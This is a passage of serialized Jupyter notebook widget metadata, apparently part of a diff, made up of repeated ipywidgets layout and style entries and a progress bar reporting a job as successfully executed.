"_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "70a89485f8eb4c9680ccdb6e20041f65": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6009ba22e5134b42a48038970f8a8087": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "25374e0a7ab5466bbcedf7cf15974c4f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3be07a9a36c14e609506a8d2ac30439a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e43a24fb4e5c4fdcb39febd5fb66ab45": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "13942a8909f945c395d55f92033505ff": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51fc19877c544160ba1f98487b04d612": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "eedd93a671824bde815adb53be8171d4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b02ed3fb150a4688b13ebcde50c08ffb": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e03e968d53544e44bb8aee7f544f1bb7": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4e4e8e3c9d748ffb96f74c1e7d06456": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6e467383b0df416ea690cbd818bceba2": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f4e0a99311504204a79f48de9ec95280": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d8fffd09966f40cd8f443d6083121fbf": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2fa658f90da941b6a590c278c67e548e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "32a25d57545340c18731eb25a79e8b47": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f0da6d221d02448bba7dc60802325cfd": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e17a16c5dc694b899e1e44f3be7583e5": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bd92677245d34eaa9245935dd5a20932": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4b9b4d011c1c4ccc886e6141ce25f235": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "74a8b740324c4efead37803b886a7921": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "56fcef4dc65e40e087bbb2821874af17": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8673a30c6d5a4f419020438fd49b2859": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "346c028bf83344f6b6b4ac47d243a3f0": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "574170a8682d444abdb3a4762b7fc0e5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "58b355bd18364678a41ca309605018a5": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8f02fdb7148e4970b349c624f4bdf198": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bf52704eb9744bc996a1f98bb2b1698d": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a2855718cc134441a42da59e40da45b7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b49ac81502e049ff8c2306bb2b649c9b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_46c4c21d611e4fd591fa5f7c35854240", + "IPY_MODEL_c7f6a1a793f540f7b455e6e5c333e784", + "IPY_MODEL_dc26ec5c563e4d8894d2e8597326a451" + ], + "layout": "IPY_MODEL_bfb1e9039ae14006b3ce1f52e37361c0" + } + }, + "46c4c21d611e4fd591fa5f7c35854240": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ee5daed831c846579888db7cdb41f7e3", + "placeholder": "β", + "style": "IPY_MODEL_d0c43db386bb4448a24806a0714ccb17", + "value": "JobβIDβdcbd65ab-0a25-49b6-992c-8d5bcf2d7ee1βsuccessfullyβexecuted:β100%" + } + }, + "c7f6a1a793f540f7b455e6e5c333e784": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_928ef0f255144240a1b45fd3a194679b", + "max": 1, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f74ea56fe0d54fe796367e996d53dc07", + "value": 1 + } + }, + "dc26ec5c563e4d8894d2e8597326a451": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_31921cdef333470eb225aea88a7394dc", + "placeholder": "β", + "style": "IPY_MODEL_d8f2e9832b6e45baa7b93905f717b586", + "value": "" + } + }, + "bfb1e9039ae14006b3ce1f52e37361c0": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee5daed831c846579888db7cdb41f7e3": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d0c43db386bb4448a24806a0714ccb17": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "928ef0f255144240a1b45fd3a194679b": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f74ea56fe0d54fe796367e996d53dc07": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "31921cdef333470eb225aea88a7394dc": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d8f2e9832b6e45baa7b93905f717b586": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "eb2bf24f7c0e40bda34c4ad6ae7f4846": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + 